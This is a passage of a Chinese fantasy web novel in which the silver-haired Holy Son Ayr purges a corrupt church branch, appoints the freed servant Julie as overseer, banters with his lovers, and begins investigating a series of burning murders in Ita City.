朱莉瞪着银发青年,阴阳怪气地说道,“你又是谁?长这么好看,主教大人们一定很喜欢你吧~” 温斯特顿时脸黑如墨,手中的剑都拔出来一点了。 他本就没什么同理心,像神仆这般遭遇的人,在他眼里和被人类宰杀的牲畜没什么区别,所以他对朱莉没有任何怜悯,此时这个女人侮辱了哥哥,他只想让这张嘴再也说不了话! 艾尔将手覆在剑柄上,将剑推回去了,他倒是没生气,他浅笑着,“我是来放你们出去的,这个地方没有人再敢拦你,你们自由了。” 一向伶牙俐齿的朱莉忽然不知道该说什么了,也不知道该不该信这种话,她想说,那你先让我们上去,还没开口,忽然发现自己脚尖离地了!后面的同伴们也传来声声惊呼。 地窖也不深,所以朱莉刚发现她背后的莹白翅膀,她就落地了,翅膀也不见了,与此同时,她身上隐隐作痛的伤口也一点感觉都没有了,所有的淤青都消失了。 另外三个胆子小点的少女缩在朱莉背后,偷偷地打量着几个陌生人。 青年缓声道:“我是艾尔菲斯,听她们说你叫朱莉?可以告诉我你的经历吗,在这个教堂里我还是有些权力替你们做主的,如果你不想说也没关系,我们会赠你们一些钱财,送你们回家。” 朱莉还因为这神奇的魔法在发呆,听见这话,叉着腰,以骂街的架势把事情从头讲到尾。 她也不在乎这个好看的陌生法师会不会真的替她们做主,反正她是逮着机会就骂人的。 与另外几个神仆很信任神官,自愿进入教堂接受“治疗”不同,朱莉和另几个同伴是被诬陷后,被恐惧的狂信徒们强硬送进来的,其实进入教堂的少男少女不止她们,来的更早一些的,人已经没了…… 银发青年看向了在一旁尴尬了很久的神官们,他们连连向圣子殿下认错,说他们是被强大的恶魔蛊惑了才犯了这种错,今日看到圣子就清醒了,以后不会再犯! “不向朱莉她们道歉吗?” 主教们顿时露出不情不愿的表情,跟几个贱民道歉?王族都管不到他们头上,几个贱民哪里配? 艾尔叹息一声,“我看到了你们的灵魂,比泥泞更加污浊,比腐尸更加恶臭,你们需要被净化,在灵魂干净之前,我要将你们关押,以免发狂伤到无辜。” “?!!” 神官们想反驳,但是攻击来得太快,在说话之前他们就被光系术法困住了,主教一介高级法师完全不抵年轻圣子。 亚尔林和温斯特不需要吩咐,便快速的给几个神官戴上了禁魔手环,在一片求饶声中,他们被白色锁链拖入了地窖。 而教廷的骑士们,犹豫着不知道该不该阻拦,按理说圣子是他们的上级,好像……没资格阻止他,凭他们的本事,也阻止不了。 这种时候,神官们依旧不后悔自己的所作所为,他们只是不服! 他们是人族中万中挑一的天赋者,他们是神明的下属!他们生来就是享福的! 如果不多捞点钱,他们怎么买昂贵的魔药魔矿,买各种魔法器具,怎么提升自己,武装自己? 如果没有好处拿,谁会愿意耗这么多时间在那些贱民身上?! 地板很隔音,神官们的求饶和喊冤,一点儿声音都没有传出来。 带路的神仆僵持不动,像是没有收到命令的傀儡,不知道该想什么,做什么。 朱莉没想到这个陌生青年真的顺利将人关起来了,“你会关他们多久?等你离开后,他们出来会不会报复我?还会不会再抓其她女孩儿?”她想着,要快点离开明伽城才行。 艾尔笑了一下,“别担心,他们会被处决的。” 处决?那些老东西会死吗?这个人权力这么大?朱莉终于好奇他的身份了,“口气这么大,你是谁呀?” “光明教廷的新任圣子。”他将身份一言带过,“如果你们暂时没地方去的话,或者想亲眼看见主教们受刑,可以在那边挑个房间留住几日。” 艾尔救完人,就回主殿了,朱莉也没什么亲人要见,也没其它事做,自然是跟着恩人走,其她女孩儿也在后面跟了一串。 奥斯顿已经从民众那里收集好城主府和分庭两个庞然大物干的好事,也安排了圣光救世会的时间。 等艾尔回去公布了明伽分庭神官的罪责,并宣布处以死刑后,便留下一片哗然的民众,一行人脚步生风的离开了,他们要处理的事情还多着呢。 当日,教堂传出的消息迅速传遍全城,当城主听到城民已经知道税收等问题的时候,稳了半天的心终于和神官们感同身受了。 全城都知道王子殿下在这里了,他再装不知道也没人信,城主只能离开庄园,去教堂觐见王子。 幸运的是,殿下似乎并不在乎他的敛财行为,也对听他拍马屁没有兴趣,对他很是敷衍。 城主没待多久,便放心离开了,还庆幸王子殿下不像那个圣子一样眼里容不得沙。 第二日和第三日,圣子在明伽城一个很宽敞的地方举办了圣光救世会,那一道道温暖的白芒帮助了许多病人,除了治病,殿下还解答了很多疑问,讲了他们从未听闻的道理,让民众豁然开朗。 艾尔在顶着光明圣子名头做好事的时候,全程没提过光明神,所以有民众凝聚出信仰的时候,大部分是落到他身上的,只有曾经的光明神狂信徒,凝聚的信仰之力照旧飘到了天上。 第四日,有上万骑兵声势浩荡地进城,战胜明伽城的守卫军,攻入城主府,捉拿了这个城市违反诸多法令的贵族。 第五日,被捉拿的贵族和神官一起被除以绞刑,以儆效尤。 又过了几日,女王陛下选好的新城主,还有艾尔挑了两天选好的新主教,前后脚来到了明伽城。 其实以艾尔几人的地位和实力,不是不能解决城主府的人。一定要从附近几个城池调用军队,这么兴师动众,就是想彰显王族的存在感,让城民们知道,城主不是他们头顶的天,人族中真正做主的位于王城的权力中心,哪怕是城主和贵族,徇私枉法了也是有人能处理他们的! 将公正的王族和圣子殿下当作后盾,明伽城城民心中安定了不少,对现在执政的女王陛下也多了些好印象。 新城主陆续颁布了能缓解贫民困境的新法令,这座偏远的城池,踩着贪婪之人的灵魂,就此迎来了新生。 分庭中,艾尔在进行临别前的嘱咐,他看着这几日总是跟着他的朱莉,忽然问道,“你想不想留在教堂?” 第108章 第 108 章 朱莉的爸爸是狂信徒, 赚到的那点微薄工钱半数都交到神官手上了,妈妈又是性子软的女人,丈夫说什么就是什么, 以前她不是光明神的信徒,在丈夫的影响下, 也成为了信徒。 按理说在这样的家庭长大, 很容易被洗脑成虔诚的信徒。但朱莉自小就很有脾气, 不耐烦每天听些无聊到能让她睡过去的颂词,她活的也很现实, 家里花这么多钱给教廷也没见到好处, 干嘛还要信? 父母觉得这个女儿从小就不听话, 喜欢跟他们对着干,喜欢吵架, 等主教告诉他们,朱莉是因为被恶魔附身了脾气才这么大,恍然大悟——后来他们成为了逼迫少女进教堂治疗的其中两人,还自认是在拯救女儿。 朱莉从地窖被救出来后, 再也没有回过家了, 她也不知道去哪儿,又很好奇这个跟其他神官截然不同的光明圣子,就留在了教堂, 跟在圣子身边观察他在做什么。 圣子殿下清缴了神官们的财物, 给了她们每人三千金币的补偿, 这是多数平民终其一生也赚不到的钱, 足够少女们以后生活无忧了。 拿到补偿后, 朱莉也没离开,她还没想好要去哪儿, 做什么,便每天跟着殿下转悠,看他有条不紊的清理分庭,挑选新的神官和仆人,制定了新规矩。 反正殿下也没有嫌她烦,她阴阳怪气骂人的时候也不嫌她粗鲁,殿下还会被逗笑呢……朱莉就厚着脸皮一直跟。 温斯特要烦死了,因为哥哥以前说过喜欢女孩子,所以即便他如今已经成为了自己的恋人,温斯特也警惕着每一个长得好看、哥哥又很欣赏的女人。 艾尔调任过来的主教,在这之前是另一座城的牧师。 前几日想调任个为人老实的新主教过来,但除了主教廷,他基本不认识别的神官了,只能想办法打听。 自家连锁店已经开到了百来座城市,每天人来人往,七嘴八舌的,能收集到很多情报,他以前用不上这些,还真没管过。 这次一问才知道,好家伙,他最信任的两个打工仔,莫恩莫娜,他刚开始赚钱时救过的两兄妹,在他多年前进入教廷,成为圣子候选人的时候就开始收集整理各方情报了。 一听殿下需要情报,莫恩眼神一亮,斗志昂扬的情绪已经从水晶球里溢出来了,“我们早就做好了助殿下完全掌控教廷的准备!” “……”你看起来更像是想看我征服世界。 艾尔亲眼看着莫恩从戒指里拿出一本厚实的册子,翻到明伽城附近几个城池的情报,挑了几个听话老实的神官跟他讲了。 艾尔想将教廷清理一番,是为了让自己以后接手个干净又好管的组织,可不是为了更好的为光明神扩张信仰。 所以他并不想让那种特别虔诚的神官上位,比如……像抚养他长大的卡文爷爷那一类。 挑来挑去,选了个性格温吞,不爱争端,经常送食物给街上流浪汉的老年牧师,重点是他话少,就代表不爱传教。 将明伽城的情况清清楚楚地告诉埃德加主教后,本身心善,又严格遵循教规的主教从来没发过这么大的脾气! 他赞同了艾尔处决明伽分庭神官的决定,又在青年一通劝说之下,从主教廷颁发了任命文书,让一个默默无闻的中阶法师成为了明伽分庭的新主教。 如果说艾尔对光明教廷最满意的一点,那必定是教皇不管事,大主教们也只享受自己的生活或者专注于精进魔法也不爱搭理杂事,管事的埃德加主教又老实,耳根软好忽悠。 艾尔暗自点头,这个藏污纳垢的教廷,收拾收拾还能要。 新主教已经来到了明伽城,艾尔见了几面商讨了些事情,看得出对方是个很佛系的人,在升职后没有表现出丝毫野心,只有一些“哎呀,涨工钱了”的喜悦,被夸了也是乐呵呵地憨笑。 莫恩先前调查了一番,这个人年轻的时候很赞同教廷救助世人的行为和对外输出的观点,所以努力成为了一个神官。 估计是腌臜事见多了,后来就没那么热情了,加上年龄大了,逐步转为混吃等死的状态。 艾尔才不管他有没有志气和目标,教廷又不是做生意的地方,那玩意儿没用,他只需要人老实听话就好,不过……新主教太佛了,他很怀疑以后分庭里有人想打小算盘,或者有贫民疯狂的占分庭便宜,他都一笑而过。 而这几日朱莉一直跟在他身边,从言行举止能看出这女孩儿虽然脾气有点暴,但三观很不错,心性坚定,能辨是非,如果有这样性格的人可以监管分庭,那就再好不过了。 所以艾尔对朱莉提出了邀请—— “你在这里做监督者,辅佐罗宾逊主教,权力在其他牧师之上,不论是牧师、骑士,还是仆人,你和主教一样,都有雇佣和解雇的话语权。” 朱莉接到邀请,一脸震惊,“我、我吗?可我什么都不会,我不是天赋者啊……”她可不会那么厉害的魔法。 银发青年无所谓地笑笑,“没关系,我给你这个权力。”思索两秒,又道:“我可以任命你为神侍长,如果有人做了坏事,又不服你的惩罚,你可以直接拿水晶球联系我。” 世人眼中,沾上神这个字眼的都是厉害的人。 朱莉沉默地看着他,她知道自己出生低贱,言语粗鄙,除了一张脸,会做些粗活,也没什么用了,怎么配用上与“神”沾边的身份? 最重要的是,她很讨厌光明教廷,她觉得聪明的圣子殿下是知道这一点的。 “您为什么会想让我做这些事呢,您知道我是没有信仰的,而且,我…我连字都不认识几个的。”说到后面,少女声音都小了些,难得有些自卑。 “这不重要,字可以慢慢学。你没有信仰,但是心灵敞亮,有一个坚韧的灵魂,而且……我知道朱莉是个很善良的人,你一定不想你身上的遭遇,还有城民遭遇过的骗局在以后再次发生的,对吗?” 朱莉这辈子见过最好看最强大最正直的人,继续笑着对她说,“我在明伽城没有其他可以信任的人了,你既诚实又勇敢,是你的话,一定可以替我守好这里的。” “如果你愿意接受我的提议,我会非常高兴的,但如果你有其它计划或者想去的地方也没关系,可以忽略我刚才说的话,你自己开心最重要了。” 朱莉低着脑袋,鼻头一酸,眼泪就不受控地掉下来了。 艾尔有点慌,他刚才说的都是赞美之词吧,为什么会把人惹哭呢? 他在温斯特要把人盯穿的注视之下,硬着头皮安抚了朱莉几句,然后本来只是沉默哭泣的少女,开始大声嚎哭。 朱莉除了被人说过长得漂亮之外,因为性格,再也没有得到过其它夸奖了。 刚才听圣子殿下说话,就像是有一个哥哥,宽厚温暖的手掌摸着她的头,笑着夸她很棒,为她感到骄傲…… 毕竟年纪尚轻,在觉得信任的人面前,朱莉的情绪一下就崩溃了。 少女打着哭嗝问道:“你、你说真的?我以后真的可以用水晶球联系你吗?” 艾尔给了肯定的回答。 朱莉边哭边应下了这份职位,哼~再被欺负了她就告状! 等银发青年回屋休息,关上房门后是怎么被温斯特和塞缪尔亲到窒息的就不提了,他严重怀疑是因为这几日他不准亲热太过,还限制了接吻次数,这家伙在借题发挥! 在这之后,艾尔让已经被洗脑的神仆们留在这里继续做些杂事,慢慢养愈精神。 他见偌大的教堂有那么多空房间,便吩咐收养一些孤儿,教他们识字,鼓励创作,比如唱歌跳舞画画,手工制造什么的。 这个世界的顶层人物都忙着追求强大的实力,影响力最强的神明又想把人类忽悠成傻子,导致人族没有太多的热情去发展其它,娱乐贫乏,艺术也创新缓慢,艾尔想着,人族文明的进步,可以从娃娃抓起。 临走之前,王子殿下在私底下和新主教谈了一会儿,请明伽分庭以后注意一下新城主的动静。 如果那边严重违反了法令,可以举报给王城的权力中心,作为感谢,等清算了城主府后分庭可以拿走一半财物。 另一边,艾尔也去了庄园,对新城主说了同样的话,请他监管一下明伽分庭。 处理好一切后续,一行人再次踏上了旅途。 结合金佰莉供出来的消息,和莫恩提供的违法乱纪最严重的城池地点,艾尔制定好了路线,一边将明伽城的操作故技重施,一边去找魅魔,将她们契约了,以免日后惹出乱子。 不是每次都像明伽城那样顺利,有的贵族和神官消息灵敏,听闻了圣子和王子这对友人干的好事,他们不可能灭口整个城池,一旦留意到他们进城,便选择高价雇佣强大的剑师和法师进行刺杀。 有的权贵,在被清算之时会找空子逃脱,然后找机会报复他们。 三个月后,经历了诸多场实战的几人很满意,坏人少了,实力也提高了。 位于遥远王城的女王陛下很满意,王族在民众心里的地位提高了。 而经常与艾尔联系的埃德加主教也很满意,他们圣子真是尽职尽责啊!难怪吾神会选择他! 正是像这般正义,有天赋,聪慧勇敢,又心怀怜悯的孩子,才有资格成为吾神的代言人啊! 这天,青年又叒叕联络了主教,请他颁发任命文书提升一下自己看中的打工仔。 “好孩子,你在加萨比城是吗?”主教看了眼桌上的地图,“哦~艾布纳正在伊塔城那边,你们离得很近。” 这个近,也要两日路程,艾尔顺口就问了一句,“是吗,还挺巧的,艾布纳在那里做什么?” “伊塔分庭的主教上报了黑暗种族的行踪,目前已经有两名牧师和五名信徒被活活烧死了。”埃德加叹了口气,嫌恶道:“果然是个残忍的种族。” 又聊了几句,水晶球断开影像之后,藏在盲点处早就等得不耐烦的塞缪尔立马走过来抱住了人,脑袋撑在了银发青年的肩头。 时不时的有一个吻落在面前的白净肌肤上,脸颊,脖颈,耳朵,艾尔被祂弄得痒痒的,正在看名册决定这个分庭人员安排的事情也做不下去了。 他怕等会儿又亲出火来,便想转移恋人的注意力。 “刚才主教提的黑暗种族的事情,你有兴趣吗?” 喑哑的声音在耳畔响起,“没兴趣。”祂这辈子所有的兴趣都是小崽子引起的,神明大人往青年耳边吹了一口气,“我还是对和你交合这件事更有兴趣一点,你到底为什么不愿意?” 还没接吻呢,艾尔就觉得燥热了,脸颊浮起一片薄粉,他怀疑地看了恋人两眼,“你是不是跟契约的几个魅魔学了点东西?” 第109章 第 109 章 塞缪尔挑眉, “什么意思?” 艾尔一巴掌轻轻糊在神明大人的俊脸上,将他推远一点,免得呼吸打在他颈边痒痒的, “你最近的勾引手段是越来越多了,难道不是跟魅魔学的?” 塞缪尔没回答, 只问:“魅魔的手段对你有用吗?” “没感觉。”除非魔族表现的特别明显, 否则他会当作他们就是那样的说话风格, 没感觉正在被勾引。 “那我的手段对你有用吗?” 艾尔不说话了,没好意思点头承认, 但也没否认, 正是因为有感觉, 所以他才意识到恋人的诸多小动作。 塞缪尔看他游移的眼神,顿时笑的又坏又得意, “你以前说过什么来着……愿者上钩?你只吃我这一套,不就说明你愿意被我勾引。”祂眯了眯眼,探究似的看着小崽子,“所以为什么不愿意跟我交合, 太害羞了吗?” 艾尔深深地看了祂一眼, 这家伙还是那么会说话,让他无法辩驳。 不想承认自己还没做好心理准备,不然天知道对方会做些什么帮他做准备, 所以艾尔没回答祂的问题。 青年纳闷道:“最近给你喝的药茶怎么一点用都没有。” 每天都这么热情, 这个年龄段欲望这么强烈吗?相比之下他自己要冷淡多了, 难道是他不行? 不不不!肯定是他被工作和修炼消磨了精力的原因, 所以说还是温斯特白天太闲了。 很快艾尔便帮温斯特做了决定, 大城池都有剑师和魔法师公会,擂台赛也在大小城池中普遍存在, 温斯特完全可以去交流挑战一番,白天消耗了足够多的精力,晚上塞缪尔出来的时候也会感到疲惫吧。 塞缪尔玩着小崽子的头发,“有用的,我觉得我的脾气好了很多。” 毕竟是伴侣亲自泡的茶,还亲眼盯着祂喝,都这么费心了,说两句好话哄他开心也不错。 艾尔果然有种心思没白费的满足感,青年唇角上翘了一点点,很满意这次的魔药学实践。 他压下笑意,瞥了神明大人一眼,“以后少跟魅魔交流,越聊脑子越不清静。”也不知道被那些黄暴思想影响了多少。 塞缪尔没答,祂抱着小崽子,安静地看他做事。 其实祂从来都不屑于跟看不上的存在多交流一句,根本没和魅魔聊过。 祂本来就是主动直接的性格,想要什么当然会去争取,不过小崽子似乎更喜欢祂禁欲一点,那就让魅魔背下锅吧。 —— 艾尔在处理完加萨比城的事情后,给有段时间没见的艾布纳打了通讯,好奇他那边是什么情况。 据他所知,深渊没有送暴戾弑杀的魔族出来,送一个就能威胁到光明教廷吗?不能!所以他们选择送魅魔出来曲线救国。 寒暄了几句,艾尔才问道:“你那边找到凶手了吗?” “这个…快了快了。” “确定是黑暗种族吗,怎么用火烧人,像是火系法师的手段。” 艾布纳:“大概是想遮掩身份,嫁祸给其他系的天赋者吧。” 艾尔看他语气神色都不如以往那样轻松,“需要帮忙吗?我在加萨比城,过两日就到你那边了。” “啊??”艾布纳更像是受了惊,慌忙拒绝,“不用不用,我有圣光护印,又没生命危险,慢慢查就是了。你忙你自己的事就行,需要帮忙的话我也不会跟你客气。” 艾尔眯了眯眼,“被绑架了你就吱一声。” “啥?” 银发青年弯着眼眸,“开个玩笑。” 再聊了几句,两人便断开了水晶球的联系。 艾尔转头就跟瘫在旁边的王子殿下说,“我们去伊塔城。” 奥斯顿悠闲地翻了页古老手札,“人家不是说了不需要帮忙?” “我就是有些好奇……”以艾布纳的性格,知道他们离得这么近,叫他过去聚一聚,喝点酒吃个饭,再畅聊一天,吐槽抱怨一大堆话发泄下工作压力才正常,而他刚才的表现,让艾尔怀疑他是被威胁了。 他们的行程都是由一人决定的,无论去哪里,奥斯顿和亚尔林都毫无意见的跟着走,只有温斯特,垮着脸被哥哥偷偷的哄了好久。 有一个话多的奥斯顿就够恼人了,又要去找另一个话多的人,两人独处时间还要被挤压,温斯特现在万分想念之前在深渊神殿的日子! —— 进城走了两条街,一行人明显感觉到伊塔城气氛紧张。 同样是麻木生活的平民,其它地方做生意都会吆喝几句,街上有人行走,有人交谈,很热闹,乱窜的小孩儿也很有活力。 但是伊塔城要安静很多,街上没有小孩儿,大家都是三三两两的一起走,不敢落单,买东西和做生意的都是匆匆成交,多数人都是一副想快点回家躲起来的模样。 路过一个卖兽肉的铺子,耳目灵敏的几人听见老板在安慰人,“恶魔把神官和光明信徒当敌人,你怕什么,我昨晚还出门去酒馆嘞,路上就我一个,恶魔也没找上我啊。”说完,老板又嘟囔地抱怨,“可惜老伯尼家的酒馆没开门,真是个胆小鬼。” 大概一路上看见的松弛人群都是像老板这样心大的人吧。 艾尔到了分庭,神官们见有了新的帮手当然高兴,为了稳住信众情绪,快速把圣子亲临的消息扩散出去,留住在这里的众多信徒们欣喜若狂! “天呐~我们有两位被吾神祝福过的光系神官,那该死的恶魔,很快就会泯灭于圣光之下了!” 艾尔:“……”我只是过来找人,顺便看一下调查结果,没想往自己身上多揽一件事的。 艾布纳不在分庭,人没找到不说,以为他是过来除魔的神官们将受害者卷宗给了他,还带他去看了烧成焦炭的尸体。 艾尔从尸体上真的探出了暗元素,虽然很少,也足够让他惊讶了——这次居然是真的,不是狼来了的故事! 神官最喜欢用来扩张信仰和敛财的理由就是恶魔附身了,哪里多死几个人就是有黑暗种族出现了! 当然,这么多年了,发生过数不清的坏事,其实基本和黑暗种族毫无关系,人家都被关在深渊呢。 再说暗系天赋者,前一秒被查出天赋,下一秒就被抓起来了,很快就会在众目睽睽之下被处决,更不可能是他们。 所以艾尔听说了伊塔城的事情后,还以为出了个人族连环杀手,此时探查出来真的与暗系天赋沾边是他未曾想到的。 翻了下受害者信息,不是牧师就是信徒,有姓名年龄,还有作为好人的一生,千篇一律的背景,艾尔两三下就翻完了,他觉得还不如随机拦个路人,花一个银币买的消息都比这卷宗可靠。 主教看起来很愁,“殿下,请一定要快些杀死那个残忍的凶手啊!我们教堂空间有限,容纳不了所有的信徒,剩下的信徒们在外面随时都会有危险的。” 说着说着语气就变得愤慨了,“胆小的黑暗种族,藏在臭水沟里的老鼠!只会在暗处偷偷摸摸的行凶,若是敢出现在这里,我就算死,也要保护信徒们,阻止他再伤害无辜!” 因为恋人是暗系天赋者,银发青年的脸色一下就冷了下来,悠悠出声,“那从今晚开始,你每天夜里就出去巡逻吧,直到这件事解决为止。” 每个光明分庭,大门和墙壁都刻有法圣级的光系铭文,能阻拦这个境阶之下的暗系生灵进入,所以待在里面是安全的,主教当然敢这么说。 圣子的语气并不强硬,和平时说话一样轻缓温和,但主教后背升起了一阵凉意,生怕圣子说的话是认真的。 他是七星高阶法师,面前有具尸体是四星高阶的牧师,两者实力相差不多,如果他被凶手盯上了,必死无疑! 哦,不对,他不会死的,上次去王城的时候,他得到了光明神大人赐下的圣光庇护,面对生命危机时能救他一次,还能净化掉周围所有的黑暗气息。 如果凶手真的是黑暗种族,真的来找他了,他是可以借用圣光庇护反杀凶手的,但他为什么要这么做呢? 就那么一个护印,没了的话,以后再遇到危险了怎么办?都有两位主教廷来的强者在这里了,他为什么要浪费自己唯一的护印。 主教背脊都不如刚才挺直了,认怂也找了个理由,“我…我要是离开了,躲在这里的信众会害怕的,殿下,我还是留下安抚大家吧,我相信您和艾布纳阁下很快就会解决这件事的。” 奥斯顿嗤笑一声,艾尔则是多看主教一眼都嫌烦,没再跟他多说,带着人离开了教堂。 温斯特走到了哥哥身侧,他知道青年见多了丑恶,根本不会因为一个贪生怕死的神官影响情绪,他会生气,只能是为了自己。 温斯特喜欢哥哥在意他的样子,心里又甜又暖,恨不得马上抱住身边的恋人,再亲亲他,告诉他自己根本不在意那种话,让他别不开心了,但是…… 黑眸青年不满地看了眼后面两个多余的存在,因为他们,自己必须收敛着行为。 温斯特没忍住,长臂一伸,揽着哥哥的肩膀,凑到他的耳边说着悄悄话,“别生气了,你不喜欢那个主教,我找机会把他打一顿,嗯?” 艾尔扭头看他,见温斯特脸上挂着温柔宠溺的表情,瞪了他一眼,“你收敛着点儿。”等会儿别被同伴看出异常了。 他顺便把温斯特的手臂从肩上拨了下去,以前这样勾肩搭背他觉得是兄弟俩关系好,如今在大庭广众下这么干,他就心虚…… 刚和温斯特拉开点距离,奥斯顿又凑上来了,他也学着温斯特将手搭在好友肩上,大大咧咧地问:“你俩在密谋什么坏事儿呢?” 温斯特把哥哥拉了过去,面无表情地看了一眼王子殿下,“我的秘密,不能告诉你。” “嘿~你小子!”奥斯顿看他们走远几步,嘟囔一声,“谁稀罕听呐。” 王子殿下找另一个落单的同伴吐槽一下温斯特,亚尔林正在给小龙崽喂肉干,时不时嗯、哦一声,显然听王子讲话还不如照顾龙崽认真,让奥斯顿再次产生了在一对伴侣间强插一脚的感觉…… 到旅馆开了几间房休整一番,艾尔才联系了不知道跑哪儿去调查的艾布纳。 看艾布纳身后的背景,明显是在屋子里,艾尔笑道:“你这是在哪儿偷懒呢?” “什么偷懒,我刚找了个地方歇一会儿呢,凶手一点影儿都没见到,我怀疑他是知道我来了,就跑了。” 嗯?上次联系不是还说快找到了嘛……艾尔也懒得揪着这一点找茬。 “凶手既然躲着你,实力肯定在你之下,但我是教廷的人,年纪轻,看起来就实力弱,说不定会成为他的目标,要不我今晚独自在教堂附近晃悠一下吧,看能不能把人引出来。” “哈??”艾布纳站起身,表情分不清是惊讶还是惊慌,“什么意思?你、你该不会已经在……” 艾尔眉眼弯弯,一副给了人惊喜的模样,“对,我已经在伊塔城了,专程来帮你的,开不开心?” 艾布纳强颜欢笑,“嗯,还是你最讲义气!” “你在哪儿?我们来找你汇合,等会儿一起吃晚餐?” 艾布纳没有理由拒绝,当然是答应了下来。 影像消失后,艾尔摩挲着下巴,觉得事情变得更有趣了,“你说凶手是他不省心的朋友,还是亲人?”不然艾布纳没有理由抗拒他的到来啊。 温斯特才不在乎凶手是谁,不过……他转了下眼睛,随后将手指抵在青年柔软的唇上,暧昧道:“哥哥想打赌吗?我猜是朋友,你猜亲人,谁输了就主动亲吻对方半个魔时,怎么样?” 艾尔:“……”他克制乖巧的温斯特啊,怎么越来越像满脑子黄色废料的塞缪尔了。 另一边,艾布纳在结束和银发青年的通讯后,立刻收起了笑容,急匆匆地联系了另一个人—— “你现在在哪儿??!算了,不管在哪里,快点赶过来把他带走!” 对方慢悠悠道,“你急什么,他要报仇就让他去,回头你告诉埃德加,凶手不是暗系就行,反正这种误会也没少发生,他会信的。” 艾布纳呵呵一笑,“我急什么?!艾尔他到伊塔城帮我找凶手了!你沉得住气,你别急啊!” 对方沉默地放下了手中的酒。 第110章 第 110 章 艾尔比约定的时间早一些到了饭馆, 在包厢里给了当侍者的中年妇人一个金币,得到的情报果然比神官们给的全面,包括受害者都是做什么营生的, 性格如何,家里几口人, 跟哪些人发生过冲突, 牧师背地里收了谁的钱……连人长得如何都要被点评几句。 这时代又没有其它娱乐方式, 八卦是件又能打发时间又能放松精神的事,尤其是连着死了那么多人, 这段时间可以说整个伊塔城都在讨论死者, 人多力量大, 对死者的私事也挖掘的更深。 客人长得这么俊,即便是不给钱, 妇人都愿意跟他们唠一唠的,更别说出手这么大方,她说得更起劲,一时半会儿都没喘口气, 从未接触过市井小民八卦力量的王子殿下听得眼冒金星。 艾布纳进门的时候, 艾尔才打断了侍者,请人去上菜,妇人这才意犹未尽地离开了。 爽朗的青年坐下来干了一杯茶水, “刚才我好像听到侍从提到一个受害者的名字, 你们在聊什么呢?” “想找一下死者的共同点, 好帮你找凶手啊。” 艾布纳握着杯子的手一紧, 装作期待的模样, “那你有什么收获?” 银发青年挑眉,“你来伊塔城这么多天了, 先说说你查出了什么?说不定我们思路一样。” 艾布纳一开始就知道凶手是谁,杀人目的是什么,他查个屁! 支吾了一会儿,终于心虚道:“受害者不是神官就是信徒,凶手肯定是厌恶光明的黑暗种族啊,就是不知道具体是哪个异族,否则还能根据特征喜好找到去向,你是怎么想的?” 艾尔给他倒了一杯水,“看来我们想法不太一样……我觉得凶手更像是正在复仇的人族。” 艹! 艾布纳悚然一惊,这小子…… “为什么这么说?” 艾尔一边打量着同僚的神色,一边缓缓道来,“大多数神官平日里是什么作风你也知道,他们被人不喜也正常,听刚才的侍从说,死去的平民都是狂信徒,家里人也和他们一样有着非常虔诚的信仰……” 妇人提起他们的时候一点也没有为这群人的惨死表现出怜悯之心,大家都是活在底层的贫民,有些狂信徒偏偏自视甚高,觉得自己和神明沾边了,看不起非信徒,还将别人称作异端。 这也就罢了,一旦有神官随口说了句谁灵魂堕落了,或者谁像是被恶魔蛊惑了,这些狂信徒会用暴力威胁人家。 艾尔简单概述了一下死者的共同点,又道:“凶手明显做了挑选,其中一个还是近百岁的老人,光明信徒这么多,为什么要找上一个将死之人?除了寻仇,我想不出其它理由。” 这个时代没什么战争做绞肉机,哪里有瘟疫了还有魔药和法师的救助,要比艾尔那个世界的古代好过多了。 但在医疗技术落后的背景下,人均寿命也不是很高,活到近百岁的平民,要么身体特别健康硬朗,要么付出毕生积蓄去买魔药续命。 啧,艾尔心中嘲讽,这么大把年龄了还有精力去得罪人呢。 “凶手有魔法天赋,幸好教廷对每起疑似黑魔法的事件都有记录,我们等会儿回教堂找一找这几十年的卷宗,说不定能找到线索确定他的身份。” 艾布纳张了张嘴,一时想不到理由去阻止,以艾尔的聪慧灵敏,他说不定今天就能确定凶手是谁! 哦……应该不会,那个人在记录中已经死了……但艾尔很可能锁定正确的事件,怀疑是那个人的亲戚什么的。 艾布纳沉默几瞬,最后装成赞同的模样:“你分析的很有道理,还是我去查卷宗吧,你先前不是说今晚要试着把凶手引出来?” “没关系,我可以边晃悠边看卷宗,单纯等人也太无聊了,你给我留点事做。” 艾布纳被噎住了,一时不知道用什么好借口把这件事揽过来。 银发青年垂眸看着杯中的花瓣,掩下了眸中的笑意,其实他也没兴趣去看一大堆卷宗,有那个时间不如练魔法,他刚才就是恶趣味发作,想逗一下同僚。 “对了,你原本有什么计划吗?” 艾布纳恹恹回答,“就是打算晚上巡逻而已,看能不能碰上凶手再次作案。” 艾尔帮起忙来非常热心,听他这么说,马上做了安排,“这样也不错,城民在夜里都闭门不出,街上有点动静还是挺明显的。那我和温斯特去教堂所在的西城守着,你去东城,亚尔林带着魔龙去南城,奥斯顿去北城,你觉得怎么样?” “王子殿下一个人?” 奥斯顿表示没有问题,“打不过我也跑的掉。” 因为他是氪金玩家,身上各种装备齐全,所以艾尔才放心他一个人。 “……我没意见了。”艾布纳还能说什么呢,“你一向靠得住,有你帮忙真是太好了,哈哈!” 艾尔弯着眉眼,欣然接受了这句硬挤出来的夸奖,“真奇怪,你这次居然没带上一队圣骑士,就是看你缺少人手我们才特意赶过来的。” 他逗着人,余光看见温斯特正眼带笑意地看着自己,艾尔知道,温斯特一定是看透了他的坏心思,依照对方的恋爱脑,没准儿正在心里夸他可爱。 艾尔忽然想起塞缪尔以前无聊的时候也会故意玩他心态,他现在的行为跟塞缪尔简直如出一辙! 啧,他变得这么坏一定是塞缪尔影响的。 —— 聚完之后,两方暂时分开,艾布纳回到之前的住处,又叒叕用水晶球联系了那个不省心的家伙,球里的影像还是一片白雾蒙蒙,对方根本就不想接他的通讯。 青年骂了几声,反正也没多熟,连朋友都算不上,真暴露了关他屁事! 如果那人跟艾尔遇上,打起来了,他才不会帮忙,认真说起来,他和艾尔的关系要亲近多了。 生了一会儿闷气,艾布纳想想那人的杀人理由,还是抱着几分同情联系了帮手,要他快点把那不省心的带走。 —— 入夜,城民闭门不出,万籁俱寂,清冷月辉照在一排排低矮的土房子上,整个城池看起来更萧条了。 银发青年穿着一身显眼的神官衣袍,他眉眼柔和,略宽大的衣服显得他身形纤瘦,看起来很好欺负。 旁边的黑眸青年也很年轻,他们悠闲地走着,凑得很近的在说话,像是一对关系极好的友人。 两人身上都没带武器,如果凶手会无差别针对所有神官,他们会是很好的目标。 塞缪尔揽上青年的肩,“不看你刚才拿到手的卷宗?” “逗一下艾布纳而已,你要是有兴趣就拿去看。”每个分庭记载的东西都大同小异,他才懒得看。 